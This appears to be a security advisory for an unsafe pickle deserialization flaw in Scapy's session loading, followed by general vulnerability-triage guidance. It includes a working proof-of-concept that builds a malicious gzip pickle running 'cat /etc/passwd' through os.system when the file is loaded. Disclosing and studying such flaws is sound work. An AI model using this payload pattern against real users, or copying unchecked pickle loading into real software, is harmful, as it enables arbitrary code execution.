An unsafe deserialization vulnerability in Scapy <v2.7.0 allows attackers to execute arbitrary code when a malicious session file is locally loaded via the -s option. This requires convincing a user to manually load a malicious session file.
Scapy’s interactive shell supports session loading using gzip-compressed pickle files:
./run_scapy -s <session_file.pkl.gz>
Internally, this triggers:
# main.py
SESSION = pickle.load(gzip.open(session_name, "rb"))
Since no validation or restriction is performed on the deserialized object, any code embedded via __reduce__() will be executed immediately. This makes it trivial for an attacker to drop a malicious .pkl.gz in a shared folder and have it executed by unsuspecting users.
The vulnerability exists in the load_session function, which deserializes data using pickle.load() on .pkl.gz files provided via the -s CLI flag or programmatically through conf.session.
Affected lines in source code: https://github.com/secdev/scapy/blob/master/scapy/main.py#L569-L572
try:
s = pickle.load(gzip.open(fname, "rb"))
except IOError:
try:
s = pickle.load(open(fname, "rb"))
Create a malicious payload:
import pickle, os, gzip
class RCE:
def __reduce__(self):
return (os.system, ("cat /etc/passwd",))
payload = gzip.compress(pickle.dumps(RCE()))
with open("evil.pkl.gz", "wb") as f:
f.write(payload)
Then run Scapy with:
./run_scapy -s ./evil.pkl.gz
Result: cat /etc/passwd executes immediately, before shell is shown.
<img width="1035" height="961" alt="Screenshot 2025-08-05 034930-1" src="https://github.com/user-attachments/assets/6748e9bc-57cb-4bd7-977e-e29da8ebc23d" />
This is a classic deserialization vulnerability which leads to Code Execution (CE) when untrusted data is deserialized.
Any user who can trick another user into loading a crafted .pkl.gz session file (e.g. via -s option) can execute arbitrary Python code.
pickle)CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N.pkl.gz)A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
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